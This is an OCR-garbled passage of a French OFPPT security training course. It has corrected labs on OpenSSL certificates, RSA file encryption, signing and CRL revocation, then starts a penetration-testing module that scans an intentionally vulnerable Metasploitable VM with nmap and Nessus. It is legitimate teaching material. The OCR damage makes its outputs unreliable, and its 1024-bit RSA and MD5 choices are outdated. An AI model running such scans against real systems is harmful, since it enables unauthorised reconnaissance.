< 55InKLxv6/ndSBpfJOwlmuPeZQyfjIKM5kWKOCIOUXnNCz9bkN1HUwXmsWcQ== Serial Number: G4 B8 90 AA BA 22 EF B3 L(E CE

(a1 END CERTIFICATE . BE A9 C5 D1 4C 42 8D DC 78 44

_— Mot Valid Before: 20220319
Close
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Etape 3 : Génération des certificats clients

1. Pour générer la clé privée du client A en respectant I'’énoncé, il suffit d’exécuter la commande suivante : sudo openssl genrsa -des3 -out private/ClientAkey.pem 1024
% sudo openssl genrsa -des3 -out private/Clientdkey

.pem 1824
Generating RSA private key, 1024 bit long modulus (2 primes)

e is 05 3? l'-'}:{'llLJEIUlI
Enter pass phrase for private/ClientAkey.pem:
Verifying - Enter pass phrase for private/Clientikey.pem:

2. Pour générer la requéte du client A, en respectant I'énoncé, il suffit d’exécuter la commande :

sudo openssl req -new -key private/ClientAkey.pem -out reqs/ClientArequest.pem

% sudo openssl reqg -new -key private/ClientAkey.pem

on that will be incorporated

tinguished Mame or a DH.
ome blank

LL name) [MARDC]:
INEW_CITY]:
.mparql [OFPPT] =
. JHchrrl [JEIHRIT1]

Eﬁall

on
—
-
<
o

Pleas ter the fol ing 'extra’' attributes
Wi __11"_1 ate reguest

An optional company name j]:
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Etape 3 : Génération des certificats clients

3. Pour générer le certificat du client A qui est signé par le CA, il suffit d’exécuter la commande suivante :

sudo openssl ca -in reqs/ClientArequest.pem -out certs/ClientAcertificate.pem

ientAcertificale, pam

Mumber: 1
dity
Mol Balare;
Not After :

@gmail, com

1strailnts:

4. Pour vérifier la validité du certificat généré, il suffit d’exécuter la commande : sudo openssl verify -CAfile cacerts/ofpptcacert.pem certs/ClientAcertificate.pem

on
—
-
<
o

: $ sudo openssl verify -CAfile cacerts/ofpptcacert.p
em certs/ClientAcertificate.pem

certs/ClientAcertificate.pem: OK
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Etape 3 : Génération des certificats clients

Le résultat de l'affichage du certificat du client A en exécutant la commande : Le résultat de l'affichage du certificat du Client A en mode graphique

cat certs/ClientAcertificate.pem

ClientAcertificate.pem - o 2

3 cal certs/ClientAcerlilficala, pem |
ClientA [j
ion: 3 { Identity: Clienka Q
rial h’l.'m\:‘ ] Verified by
el ;‘_:g’f“;}” Expires: 03/19/2023
~ Detalls
Subject Hame
C {Counkry): Ma
ST (State): MARDE
O (Organization): OFPPT
QU (Organizational Unit): SECURITY
CH ([Commaon Mame): Clienta

EMAIL (Email Address):

clienta@amail.com

Issuer Hame

C{Counkry): Ma

ST (Skate); MARGC

L (Locality): MEW CITY

X509v3 extensions .
o X589v3 Basic Constraints: © (Organization): OFFFT
C SE QU (Organizational Unit): SECURITY

L Netscape Comment:
|: OpenSSL Generated Certificate Issued Certificate
m Version: 3
< Serlal Mumber: a1
o Mot Valid Before: 2022-03-19

Clase
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Etape 3 : Génération des certificats clients

7. Pour générer la clé privée du client B en respectant I'énoncé, il suffit d’exécuter la commande suivante : sudo openssl genrsa -des3 -out private/ClientBkey.pem 1024

: $ sudo openssl genrsa -des3 -out private/ClientBkey.pem 1024
Generating RSA private key, 1024 bit long modulus (2 primes)

e is 65537 (0x010001)
Enter pass phrase for private/ClientBkey.pem:
Verifying - Enter pass phrase for private/ClientBkey.pem:

8. Pour générer la requéte du client B, en respectant I'énoncé, il suffit d’exécuter la commande :

sudo openssl req -new -key private/ClientBkey.pem -out reqs/ClientBrequest.pem

into g
What J about t ) is called a Distinguished Name or a DN.
ome blank
5 there will be a default value,
Lhe Tield will be lall blank.

Country Na (2 - code) [MA]:

State ce Hame (full na [MAROC] :

leg, sec [SECURTTY] :
" FODN or ¥ name) []:ClientB

on
—
-
<
o

attributes
gat
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Etape 3 : Génération des certificats clients

9. Pour générer le certificat du client B qui est signé par le CA, il suffit d’exécuter la commande suivante :

sudo openssl ca -in reqs/ClientBrequest.pem -out certs/ClientBcertificate.pem

lientBecertificate. pem

BE:81:34:43: 1F:E3:94:1C: 90 :EB

D:AB:BT:9A:4B:BE:T1:5C:CA: 23 A4 4F 64

Carlificale is Lo be cerlifTied unLil Mar 19 20:41:31 2023 GMT (363 days)

10. Pour vérifier la validité du certificat généré, il suffit d’exécuter la commande : sudo openssl verify -CAfile cacerts/ofpptcacert.pem certs/ClientBcertificate.pem

on
—
-
<
o

: $ sudo openssl verify -CAfile cacerts/ofpptcacert.p
em certs/ClientBcertificate.pem

certs/ClientBcertificate.pem: OK
|



Activité 4 \ OO\ VEBFORCE .

. OFPPT
Correction /| b

pE THE CHAMNGE

Etape 3 : Génération des certificats clients

Le résultat de l'affichage du certificat du client B en exécutant la commande : Le résultat de I'affichage du certificat du Client B en mode graphique
cat certs/ClientBcertificate.pem ClientBcertificate.pem _ o0 Q
: $ cat certs/ClientBcertificate.pem
Certiricate: ClientB
Version: 3 (0x2) Identity: ClientB Q
g?rial Numifr: ?tl{ﬁlet 256WithRSAE ti Veriried by
ignature Algorithm: sha ith ncryption .
Issuer: C=MA, ST=MAROC, L=NEW CITY, 0=OFPPT, OU=SECURITY Expires: 03/15/2023
Validity v Details
Not Before: Mar 19 20:41:51 2022 GMT
Not After : Mar 19 20:41:51 2023 GMT Subject Name
Subject: C=MA, ST=MAROC, 0=0FPPT, OU=SECURITY, CN=ClientB/emailAddress=c c(c Ery): MA
lientB@gmail.com ountry}:
Subject Public Key Info: ST (State): MAROC
Public Key Algorithm: rsaEncryption O (Organization): OFPPT
Esﬁ {’Ub}lc"{ew (1024 bit) OU (Organizational Unit): SECURITY
oc uegs?. . Ob:d8:al:5d:a6:4d:09:6c:2c:60:15:02:14: CN (Common Name): ClientB
33:19:59:c1:42:38:7e:6a:35:¢cd:28:27:cc:ef:6a: EMAIL (Email Address): clientB@gmail.com
4c:9d:22:10:8a:1a:7b:e4:90:47:7a:77:90:3b:75:
(9] 14:25:33:33:26:71:68:fb:c4:46:e9:a81:62:27:c4: Issuer Name
wl c4:58:37:07:99:da:44:e9:f2:bb:le:bb:ba:94:75: C (Country): MA
|: :2b:9a:39:fe:e5:eb:d9:b8:10:39:41: ST (State): MAROC
o R2i39:dd:eo:Be: rec:19: L (Locality): NEW_CITY
<L S O (Organization): OFPPT
(a B OU (Organizational Unit): SECURITY
Close
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CHIFFREMENT/DECHIFFREMENT
ASYMETRIQUE DES FICHIERS

Compeétences visées :

e Chiffrer des fichiers en utilisant I'algorithme de chiffrement
asymétrique RSA grace a OpenSSL

* Déchiffrer des fichiers en utilisant I'algorithme de
chiffrement asymétrique RSA grace a OpenSSL

Recommandations clés :

*  Maitriser le principe d’'un schéma de chiffrement
asymétrique
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1. Pour le formateur

. 'apprenant doit étre capable de chiffrer/déchiffrer des fichiers avec I'algorithme de
chiffrement asymétrique RSA en utilisant OpenSSL

2. Pourl'apprenant

. Il est recommandée de maitriser les notions de base d’une PKI

. [l faut utiliser les commandes fournies au début de l'activité

. Il est également recommandé de suivre les étapes décrites dans I'énoncé
’ 3. Conditions de réalisation :

. VirtualBox installé

. Une machine Virtuelle Ubuntu qui a été utilisée dans l'activité 2.

. Réalisation des activités précédentes (2, 3, et 4) avec succes.

4. Criteres de réussite:

. Générer un fichier chiffré a partir d’un fichier en claire

. Générer un fichier claire a partir d’un fichier chiffré
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Chiffrement/déchiffrement asymétrique des fichiers

* Lobjectif principal de cette activité est de chiffrer et déchiffrer un fichier a I'aide d’un certificat numérique et une clé privée, respectivement.

* Le tableau ci-dessous fournit les commandes nécessaires pour la réalisation de cette activité.

Chiffre un fichier texte fichier.txt avec la clé publique du certificat

openssl rsautl -encrypt -in <fichier.txt > -inkey <certificate> -certin -out <fichier.enc> epe . . .
P yp y certificate. Le fichier chiffré est fichier.enc

Déchiffre un fichier fichier.enc avec la clé privée associée au certificat

- -in <fichier.enc > -i < iv> - <fichier.dec> . ..
efprzizal el et L AlebiEeene = hley ey otz s utilisé pour le chiffrement. Le fichier déchiffré est fichier.dec

* A cet effet, il vous est demandé de réaliser les taches suivantes :

1. Créez un fichier, nommé fichier.txt, qui inclut le texte suivant :

Bonjour tout le monde !

Ce deuxiéme document est utilisé pour tester le chiffrement/déchiffrement asymétrique avec
I'algorithme RSA sous OpenSSL.

2. Chiffrez le fichier fichier.txt en utilisant la clé publique du client A. Le fichier chiffré est nommé fichier.enc. Utilisez le certificat du client A généré dans I'activité
précédente ;

on
—
-
<
o

3. Déchiffrez le fichier fichier.enc. Le fichier chiffré est nommé fichier.dec ;

4. Veérifiez que les deux fichiers fichier.txt et fichier.dec contiennent le méme contenu.
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Correction

1. Pour créer le fichier fichier.txt, il suffit d’exécuter la commande sudo nano fichier.txt et de taper le texte. La figure ci-dessous illustre la création du fichier.txt.

GNU nano 5.6.1 fichier.txt
onjour tout le monde !
Ce deuxieme document est utilisé pour tester le chiffrement/déchiffrement asymétrique

avec Ll'algorithme RSA sous OpenSSL.

2. Pour chiffrer le fichier fichier.txt avec la clé publique du client A, il suffit d’exécuter la commande suivante :
sudo openssl rsautl -encrypt -inkey certs/ClientAcertificate.pem -certin -in /home/osboxes/fichier.txt -out /home/osboxes/fichier.enc
3. Pour déchiffrer le fichier fichier.enc avec la clé privée du client A, il suffit d’exécuter la commande suivante :
sudo openssl rsautl -decrypt -inkey private/ClientAkey.pem -in /fhome/osboxes/fichier.enc -out /home/osboxes/fichier.dec
4. Pour vérifier que les deux fichiers fichier.txt et fichier.dec contiennent le méme contenu, il suffit d’exécuter la commande :
diff /home/osboxes/fichier.txt /home/osboxes/fichier.dec

La figure ci-dessous illustre I'exécution des commandes précédentes

: $ sudo openssl rsautl -encrypt -inkey certs/ClientAcertificate.pem -certin -in
fhome;’osboxesﬁichier.txt -out /home/osboxes/fichier.enc

on
L
[
g $ sudo openssl rsautl -decrypt -inkey private/ClientAkey.pem -in /home/osboxes/
a.

fichier.enc -out /home/osboxes/fTichier.dec
Enter pass phrase for private/ClientAkey.pem:
] 3 rilff JShome/osbhoxes/fichier.txt /home/osboxes/fichier.dec
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SIGNATURE DES FICHIERS

Compeétences visées :

* Réaliser la signature numérique d’un fichier

Recommandations clés :

* Maitriser le principe du signature numérique
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1. Pour le formateur

. Lapprenant doit étre capable de générer les empreintes des fichiers et les signer en
utilisant OpenSSL

. Il doit étre également capable de vérifier la signature d’un fichier

2. Pourl'apprenant

. Il est recommandée de maitriser les notions de base d’une PKI
. [l faut utiliser les commandes fournies au début de l'activité
. Il est également recommandé de suivre les étapes décrites dans I'’énoncé
3. Conditions de réalisation :
’ . VirtualBox installé
. Une machine Virtuelle Ubuntu qui a été utilisée dans l'activité 2.
. Réalisation des activités précédentes (2, 3, 4, et 5) avec succes.

4. Criteres de réussite :
. Générer avec succeés une empreinte d’un fichier
. Signer un fichier avec succes

. Vérifier la signature d’un fichier avec succes
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Signature des fichiers '

* Lobjectif principal de cette activité est de signer un fichier et vérifier un fichier signé a l'aide d’ une clé privée et un certificat numérique, respectivement.

* Le tableau ci-dessous fournit les commandes nécessaires pour la réalisation de cette activité.

Calcule I'empreinte numérique d’un fichier fichier.txt a I'aide d’une
openssl dgst <-hachfunction > -out <fingerprint > <fichier.txt> fonction de hachage hachfunction. Lempreinte est enregistrée dans
un fichier fingerprint.

Signe un fichier a partir de son empreinte fingerprint et en utilisant la

openssl rsautl -sign -in <fingerprint > -inkey <key > -out <signature> A o, ..
P & gerp y <key g clé privée key. Le fichier signé est nommé signature.

openssl rsautl -verify -in <signature> -inkey <certificate> -certin -out Vérifie la signature en calculant 'empreinte fingerprint a partir d’'un
<fingerprint > fichier signé signature en utilisant une certificat numérique certificate.

* A cet effet, il vous est demandé de réaliser les taches suivantes :
1. Calculez 'empreinte du fichier fichier.txt en utilisant comme fonction de hachage MD5. Uempreinte est enregistré dans un fichier nommé empreinte ;

2. Signez le fichier fichier.txt en utilisant son empreinte numérique empreinte et la clé privé du client A généré dans l'activité 4. Le fichier signé est nommé
signature ;

3. Vérifiez le fichier signé signature en calculant son empreinte nommé empreinte 2 et en utilisant le certificat numérique du client A généré dans l'activité 4 ;

on
—
-
<
o

4. Vérifiez que les deux empreintes empreinte et empreinte2 contiennent le méme contenu.
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Correction

1. Pour calculer 'empreinte du fichier fichier.txt en utilisant comme fonction de hachage MD5, il suffit d’exécuter la commande suivante :
sudo openssl dgst -MD5 -out empreinte fichier.txt

2. Pour signer le fichier fichier.txt en utilisant son empreinte numérique empreinte et la clé privé du client A, , il suffit d’exécuter la commande suivante :
sudo openssl rsautl -sign -in empreinte -inkey /etc/activite/private/ClientAkey.pem -out signature

3. Pour vérifier le fichier signé en calculant son empreinte nommé empreinte 2 et en utilisant le certificat numérique du client, il suffit d’exécuter la commande suivante :
sudo openssl rsautl -verify -in signature -inkey /etc/activite/certs/ClientAcertificate.pem -certin -out empreinte2

4. Pour vérifier que les deux empreintes empreinte et empreinte2 contiennent le méme contenu, , il suffit d’exécuter la commande : sudo diff empreinte empreinte2

Les résultats de I'exécution des commandes précédentes sont illustrés dans la figure ci-dessous

% sudo openssl dgst -MD5 -out empreinte fichier.txt
: $ sudo tail empreinte
MD5(fichier.txt)= e670a0148347440f55c6f5hT02c75a7c
$ sudo openssl rsautl -sign -in empreinte -inkey /fetc/activite/private/ClientAkey.pem -0

ut signature
Enter pass phrase for /etc/activite/private/ClientAkey.pem:
% sudo tail signature

A# ~%
: $ sudo openssl rsautl -verify -in signature -inkey /etc/activite/certs/ClientAcertificat
e.pem -certin -out empreinte2
: % sudo tail empreinte2
MD5(fichier.txt)= e670a0148347440f55c6f5bTf02c75a7c
$ diff empreinte empreinte2

on
—
-
<
o
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GESTION DU CRL (CERTIFICATE LISTE
REVOCATION)

Compeétences visées :

Révoquer un certificat numérique

Recommandations clés :

Maitriser le principe des certificats numériques

Maitriser les notions de base d’une PKI
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1. Pour le formateur

. Lapprenant doit étre capable de révoquer un certificat numérique

2. Pourl'apprenant

. Il est recommandée de maitriser les notions de base d’'une PKI
. [l faut utiliser les commandes fournies au début de I'activité
. Il est également recommandé de suivre les étapes décrites dans I'énoncé

3. Conditions de réalisation :

’ J VirtualBox installé

. Une machine Virtuelle Ubuntu qui a été utilisée dans l'activité 2.

. Réalisation des activités précédentes (2, 3, 4, 5, et 6) avec succes.

4. Criteres de réussite:

. Révoquer un certificat numérique avec succes
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Gestion du CRL (Certificate Liste Revocation)

* Cette activité vise a générer une liste de révocation de certificat (CRL) et révoquer un certificat.

* Le tableau ci-dessous fournit les commandes nécessaires pour la réalisation de cette activité.

openssl ca -gencrl -keyfile <CApriv.pem> -cert <CA_certificate.pem> -out

<crl files Génere une premiere CRL vide, nommée crl_file, grace a 'option -gencrl

openssl ca -revoke <certificate> -keyfile <CApriv.pem> -cert

epe Révoque un certificat client certificate.
<CA_certificate.pem> 9

* A cet effet, il vous est demandé de réaliser les taches suivantes :
1. Préparez I'environnement de travail en :
* Créant un répertoire crl sous le chemin /etc/activite
* Créant un fichier crinumber sous le chemin /etc/activite et I'initialisant a 01.
2. Générez une une premiere CRL vide, nommée CRL. Utilisez la clé privée et le certificat du CA qui ont été généré dans l'activité 4 ;

3. Révoquez le certificat du client B qui a été créé dans l'activité 4 ;

on
—
-
<
o

4. Afficher le contenu du fichier crinumber.
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on
—
-
<
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Correction

1. Pour préparer 'environnement de travail, il suffit d’exécuter les commandes suivantes :

+ cd /etc/activite : d /etc/activite/
: udo mkdir cril

¢ sudo mkdir crl

 sudo touch crinumber : $ sudo touch crlnumber
: ¢ sudo su
* sudosu root@osboxes:/etc/activite# echo 81 > crlnumber
e echo 01 > crinumber root@osboxes:/etc/activite# exit
) exit
e exit

2. Pour générer une une premiere CRL vide, nommeée CRL, exécutez la commande suivante :

sudo openssl ca -gencrl -keyfile private/ofpptcakey.pem -cert cacerts/ofpptcacert.pem -out CRL

: ¢ sudo openssl ca -gencrl -keyfile private/ofpptcakey.pem -cert cacerts/ofpp
tcacert.pem -out crl/CRL

Using configuratioen from fusr/lib/ssl/openssl.cnf
Enter pass phrase for private/ofpptcakey.pem:

P
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3. Pour révoquer le certificat du client B, exécutez la commande suivante:

sudo openssl ca -revoke certs/ClientBcertificate.pem -keyfile private/ofpptcakey.pem -cert cacerts/ofpptcacert.pem

: $ sudo openssl ca -revoke certs/ClientBcertificate.pem -keyfile private/ofpp
tcakey.pem -cert cacerts/ofpptcacert.pem
Using configuration from /usr/lib/ssl/openssl.cnf

Enter pass phrase for private/ofpptcakey.pem:
Revoking Certificate 02.
Data Base Updated

4. Pour Afficher le contenu du fichier crinumber, exécutez la commande : sudo tail crinumber

¢ tail crlnumber

on
—
-
<
o
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Dans ce module, vous allez :

* Apprendre a utiliser certains outils de test d’intrusion

* |dentifier les failles de sécurité d’un systeme cible

* Exploiter certaines failles identifiées pour mener des
scénarios d’attaques.
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ACTIVITE 1

IDENTIFICATION DES VULNERABILITES
D’UN SYSTEME

Compétences visées :

Utiliser des outils de test d’intrusion pour identifier les failles
de sécurité d’un systeme cible

Recommandations clés :

Maitriser le principe du test d’intrusion
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CONSIGNES

Pour le formateur

Lapprenant doit étre capable d’utiliser Kali Linux ainsi que des outils de test
d’intrusion afin d’identifier les failles de sécurité du systéme Metasploitable (le
systeme cible dans cette activité)

Pour l'apprenant

Il est recommandé de maitriser les notions de base de test d’intrusion et connaitre
les attaques de sécurités ainsi que les failles de sécurité les plus courantes

Il est également recommandé de suivre les étapes décrites dans I'énoncé

Il faut utiliser les commandes fournies dans l'activité

Conditions de réalisation :

VirtualBox installé

Une machine Virtuelle Kali Linux 2022.1. Lien de téléchargement :
https://kali.download/virtual-images/kali-2022.1/kali-linux-2022.1-virtualbox-

amd64.ova

Une machine virtuelle Metasploitable. Lien de téléchargement :
https://sourceforge.net/projects/metasploitable/files/latest/download

Nessus on Kali Linux. Lien de téléchargement : Download Nessus | Tenable®

Criteres de réussite :

Identifier les failles de sécurité du systéme cible

Avoir un rapport de vulnérabilité du systeme cible généré par Nessus


https://kali.download/virtual-images/kali-2022.1/kali-linux-2022.1-virtualbox-amd64.ova
https://sourceforge.net/projects/metasploitable/files/latest/download
https://www.tenable.com/downloads/nessus?loginAttempted=true
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Etape 1 : Préparation de 'environnement

* L'objectif principal de cette activité est d’identifier les failles de sécurité et les risques associés a un systéme. Pour atteindre un tel objectif, nous avons besoin de
préparer un environnement de test, qui est composé de :

* Une machine virtuelle Kali Linux : Comme présenté précédemment dans la partie 1, Kali est une distribution Linux qui implémente un ensemble d’outils
permettant de tester le niveau de sécurité d'un systeme d'information via l'identification des failles et des risques de sécurité et également I'exploitation des
failles identifiés .

* Metasploit : programme open source qui est implémenté dans Kali et permettant I'exploitation des vulnérabilités. En effet, il fournit des informations sur les
vulnérabilités de systemes informatiques et les exploite. Il est équipé d’une base de données intégrant les vulnérabilités existantes a ce jour.

* Nmap : c’est parmi les outils qui sont installés par défaut on Kali. Il permet de réaliser le scan des ports a des systemes pour détecter les ports ouverts, identifier
les services hébergés et obtenir des informations sur les systemes d'exploitation.

* Nessus : c’est un outil de scan de vulnérabilité tres performant et trés puissant. Il fournit des informations avancées en le comparant a Nmap. C’est un logiciel
payant pour les professionnels. Une version de test pourra étre utilisée.

* Une machine virtuelle Metasploitable : une machine virtuelle Linux intentionnellement vulnérable et qui peut étre utilisée pour effectuer une formation a la
sécurité, tester des outils de sécurité et pratiquer des techniques de test d’intrusion courantes.

* Le travail demandé dans cette étape est :
1. Lancez les deux machines virtuelles Kali et Métasploitable ;

2. ldentifiez les adresses IP des deux machines virtuelles ;

<
—
-
<
o

3. Vérifiez que la machine Kali est a jour et qu’elle implémente les deux outils Nmap et Metasploit ;

4, Téléchargez et Installez Nessus dans la machine Kali.

Copyright - Tout droit réservé - OFPPT 203
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Etape 2 : Identification des vulnérabilités

* Aprés avoir préparé I'environnement de travail, il est maintenant possible d’identifier les vulnérabilités et les risques associés a un systeme cible.
* Dans cette activité :

* Le systéme cible est Métasploitable.

* Les outils de scan sont : Nmap est Nessus installés on Kali Linux.
* Travail demandez :

1. Utilisez Nmap pour identifier les ports ouverts ainsi que le systeme d’exploitation du systeme cible

=) Remarques
)

Nmap peut étre lancé via le terminal de la machine Kali. Les options suivantes pourront étre utilisées :

* -sV:sondez les ports ouverts pour déterminer les informations de service/version

e -0 : Activer la détection du systeme d’exploitation

* Syntaxe de la commande est : sudo nmap [options] @IP

2. Utilisez Nessus pour identifier les failles de sécurité et les vulnérabilités de la machine Metasploitable.

<
—
-
<
o
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L'adresse IP de la machine virtuelle Metasploitable est : 192.168.1.8 Ladresse IP de la machine virtuelle Kali est : 192.168.1.7

nsfadmin@metasploitable:™5 ifconfig

EthO Link encap:Ethernet HWaddr 08:00:27:22:h9:44
inet addr:192.168.1.8 Bcast:192.168.1.255 Mask:255.255.255.0
inetb addr: fdaB:cB83a:5alc:2f00:a00:27ff :fell:bI44-64 Scope:Global
inetb addr: feB0::a00:27ff :feZZ:b944-64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:154 errors:0 dropped:0 overruns:0 frame:0
TX packets:61 errors:0 dropped:0 overruns:0® carrier:0
collisions:0 txqueuelen:1000
RX bytes:Z22101 (21.5 KB) TX bytes:6482 (6.3 KB)
Base address:0xd020 Memory:f0200000-f0Z220000

mtu 1508
.ﬂ broadcast 192.168.1.255
:cl18 prefixlen 64 scopeid

:bd54 prefixlen 64 scopeid @x20<link>
:a@@:27ff:fe95:bd54 prefixlen 64 scopeid

txgueuelen 1008 (Ethernet)

bytes 45 (44.6 KiB)
ors @ dropped @ overruns @ frame @
bytes 4794 (4.6 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inetb addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING HMTU:16436 Metric:1

RX packets:97 errors:0 dropped:0 overruns:0 frame:0
TX packets:97 errors:0 dropped:0 overruns:0® carrier:0
collisions:0 txqueuelen:0

RX bytes:21529 (21.0 KB) TX bytes:21529 (£1.0 KB)

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.8.1 netmask 255.0.0.0
prefixlen 128 scopeid @=1@<host>
usuelen 1008 (Local Loopback)
@ bytes @ (0.0 B)

<
—
-
<
o
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Etape 1 : Préparation de 'environnement

Pour vérifier que Nmap est installé dans Kali, il suffit de taper la commande

Pour vérifier que Metasploit est installé dans Kali, il suffit de taper la commande . ) R ] )
sudo nmap et avoir comme résultat celui affiché dans la figure ci-dessous

sudo msfconsole et avoir comme résultat celui affiché dans la figure ci-dessous

e

[sudsiggassword for kali:

Nmap 7.92 ( https://nmap.org )
p [Scan Ty s)] [Options] {target specification}
ET SPECIFICATION:

s
. 'ooa "
000 @;

Metasploit! \

74 N7 /
NE—1\ /

2196 exploits - 1162 auxiliary - 400 post
596 payloads - 45 encoders - 10 nops
9 evasion

<
—
-
<
o

Metasploit tip: View a module's description using
5, or the enhanced version in your browser with
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Etape 1 : Préparation de 'environnement

* Pour installer Nessus dans la machine Kali, il suffit de suivre les étapes suivantes :

1. Accédez a la page de téléchargement via le lien suivant : Download Nessus | Tenable®

2. Téléchargez la version Nessus-10.1.1-debian6_amd64.deb comme illustré dans la figure ci-dessous. En fait c’est la version adéquate pour une machine Kali.

Opening Messus-10.1.7-debiant_amdbd.deb
You have chosen Lo open:

™ Nessus-10.1.1-debiané_amdé&d.deb

Téléchargement de Nessus

D this automatically for files like this from now on

<
—
-
<
o



https://www.tenable.com/downloads/nessus?loginAttempted=true

Activité 1 OO\ WEBFORCE .

] ()[PP'I BE THE CHANGE
Correction P

Etape 1 : Préparation de 'environnement

3. Installez le package la version Nessus-10.1.1-debian6_amd64.deb téléchargé en exécutant la commande sudo apt install ./Nessus-10.1.1-debian6_amdé64.deb
comme illustré dans la figure ci-dessous.

~

fhome/kali/Downloads

~/Downloads
1n;tall .fNessus—18.1.1-debiané amd64.deb
Reading pac e lists ... Done
Building d _ndeniy C ... Done
i infoxn .'- .. DONE
'nessus’ instead of './Nessus-1@8.1.1-debian6_amd64.deb’
The +ollow1nc NEw packages will be installed:
nessus
@ upgraded, ewly installed, @ to remove and 567 not upgraded.
1 7 MB of archives.
ion, @ B of additional disk space will be used.
homﬁ_ /Downloads/Nessus-10.1.1-debian6é_amdé4.deb nessus amd64d 1@.1.
7 MBE]
lecting previously uns Tol &1
ading database ... 2132 iles a irectories currently installed.)
ring to unpa . : B.1. ian6_amd64 . deb
icking nessus (
Setting up nessus
s

Unpacking Nessus Scanner Core Components ...

- You can start Nessus Scanner by typing /bin/systemctl
e

- Then go to https://kali:8834/ to configure your scanner

<
—
-
<
o
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4. Apres installation, il suffit d’exécuter les commandes suivantes :
* sudo systemctl enable nessusd
* sudo systemctl nessusd start

* sudo systemctl nessusd status

~[~/Downloads ]
~t1 enable nessusd
stemd/system/nessusd.service + /lib/systemd/system/nes

-[~/Downloads ]
Ll start nessusd

-[~/Downloads ]
syst status nessusd.service
® nessusd e Ne erability anner

Lo: Iste / essusd.service; enabled; vendor pr>

Ac iv i EDT go
Main PI (
Tasks
Memor

.service

<
Ll
=
<
Q. arted The Nessus Vulnerability Scanner.

[ 5]: Cached @ plugin libs in @ms
ed @ plugin libs in @msec

Ma - i
lines 1-14/14 (END)A

X WEBFORCE.
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5. Lancez ensuite un navigateur et tapez dans la barre de navigation :

e https://kali:8834 ou

e https://@IPKali:8834

G kali

Docs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec



https://kali:8834/
https://@IP:8834
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Etape 1 : Préparation de I'environnement

Les interfaces suivantes représentent les interfaces nécessaires pour le lancement et l'activation de Nessus.

nessus

Essentials

Enter your activation code.

Activation Code *

<
—
-
<
o
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Etape 1 : Préparation de I'environnement

Les interfaces suivantes représentent les interfaces nécessaires pour le lancement et l'activation de Nessus.

nessus
Essentials :
@UEIE

nitializing

prepares the files

Downloading plugins...

<
—
-
<
o
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Etape 1 : Préparation de 'environnement

La page d’accueil de Nessus est la suivante

Ly 2 om O B e B2I6E T BERL M Sna T a iy -t i B IO =

Remarques

Il est probable que l'initialisation de Nessus (étape illustrée dans
la derniere interface illustré dans le slide précédent) dure

Iongtemps, il faut I'attendre. Welcorme to Messus Essentials
el wlatboel, sunnecdsa liond thap oy aemn bz adenisy vl ool wn g
* Sivous rencontrez des problemes, il est possible de consulter le SR ot e e oot e
. . . . . Emier inrgees a5 hoesmnames, 19vd aodmesses, oo Pal atoresses For IF pdd-reses
site accessible via le lien suivant : B e e 4 samn
AxiiEndL B
https://community.tenable.com/s/article/Nessus-scanner-is- _—

stuck-in-the-Initializing-process

Ce site vous fournit les commandes nécessaires pour régler les
problémes rencontrés.

<
—
-
<
o.
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Etape 2 : Identification des vulnérabilités

* Pour identifier les ports ouverts ainsi que le systeme d’exploitation du systéme cible en utilisant nmap, il suffit d’exécuter la commande suivante
sudo nmap -sV -0 192.168.1.8.

* Les figures ci-dessous illustrent le résultat de la commande exécutée qui consiste a 'ensemble des ports ouverts et le systéme d’exploitation.

[sudo] password for
Starting Nmap 7.92 ( 2 ) at 2 4 H:
Nmap scan repi r ;
Host is up (
Not shown: 977
ORT STATE SER VERSION
open f vsftpd
open ¢
open :
open ¢ smtpd
open ai BIND 9.
open
open (
open : i amba smbd
open i nba smbd
open
open i OpenBSD or Solaris rlogind
open
open rmi GNU Classpath grmiregistry
open bindshell : e root shell
open nfs (RPC
open ftp
open mysqgl
open postgresgl
open  vnc
open
open
open
gpen

<
—
-
<
o
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Etape 2 : Identification des vulnérabilités

<
—
-
<
o

Pour lancer le scan de vulnérabilités en utilisant Nessus, choisissez I'option Advanced Scan

' nessus

Scan Templates

- € Dack o 5zans
W My Scans
All Scans
= Scanmer
n Trash
n Polcies ‘
B FlugnRules

Host Discovery

Basic Network Scan

CMAPP: What 15 it and
Wy Is It Important

far Secu. °

Read Mare
web application Tests

&

Advanced Scan

A

Credentialed Patch Audit

@ %

Advanced Dynamic Scan Malwrare Scan

- B

Intel AMT Security Bypass spectre and Meltdewn

S0

OFPPT

@ 2 o @

2N\

Muobile Device Scan

WannaCry Ransomyiare

WEBFORCE «
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Etape 2 : Identification des vulnérabilités

La fenétre ci-dessous s’affiche. Donnez un nom au scan a effectuer, Metasploitable Scan par exemple, et comme cible (Targets) saisissez I'adresse IP de la machine cible
(192.168.1.8, dans notre exemple) ou aussi la plage d’adresse du réseau. Cliquez ensuite sur Save.

i Jnessus scans Settings
Settings Cradentials Plugins
B ayScans
i Al scans BASIC y
Metasploitable Scan
n Trash General Hame p 5
Schedule
Drescripticn
Motfications
B rolicies
DISCOVERY
& r ugin Rules
ASSESSMLNT Falcher My Scans -
REPORT
Targets -
ADVAMCED L 192,168.1.8

Tenable News Uplead Targets Add File

Multiple
Vulnerabilities in
Trand Micro

ServerProt.. n Cancel

Read More

<
—
-
<
a




Activité 1 X WEBFORCE«

Correction OFPPT & e CHANGE

- Pt o T e

Etape 2 : Identification des vulnérabilités

La figure ci-dessous illustre I'enregistrement de la configuration du scan effectué précédemment. Pour lancer le scan, il suffit de cliquer sur le bouton démarrer.

M}" Scans Imnpart MNew Folder

Mame Schedule Last Modified «

Metasploitable Scan On Demand ) Today at12:08 PM
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Etape 2 : Identification des vulnérabilités

Apres avoir effectué le scan, un résumé de vulnérabilité sera fourni par Nessus comme illustré dans la figure ci-dessous.

- . -
MDtJ-FﬂDI[EID e 5can Configure Audit Trail Launch ~ Repaort Export -
t Back 1o kdy Scar
Hosts 1 Vulnerabilities 72 Remediations 4 VPR Top Theeats Histary | 1
Filter =
Host Vulnerabilities » Scan Details
Status; Completed
Sewerity Base: CWS5 w0
Scanner: Local Scanner
Start: Today at 12:08 FM
End: Today at 12:27 FM
Elapsed: 19 minutes
< Vulnerabilities
Ll
— ' & Critical
] ' & High
m & Medium
<L Low
ﬂ. & Infa
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Etape 2 : Identification des vulnérabilités

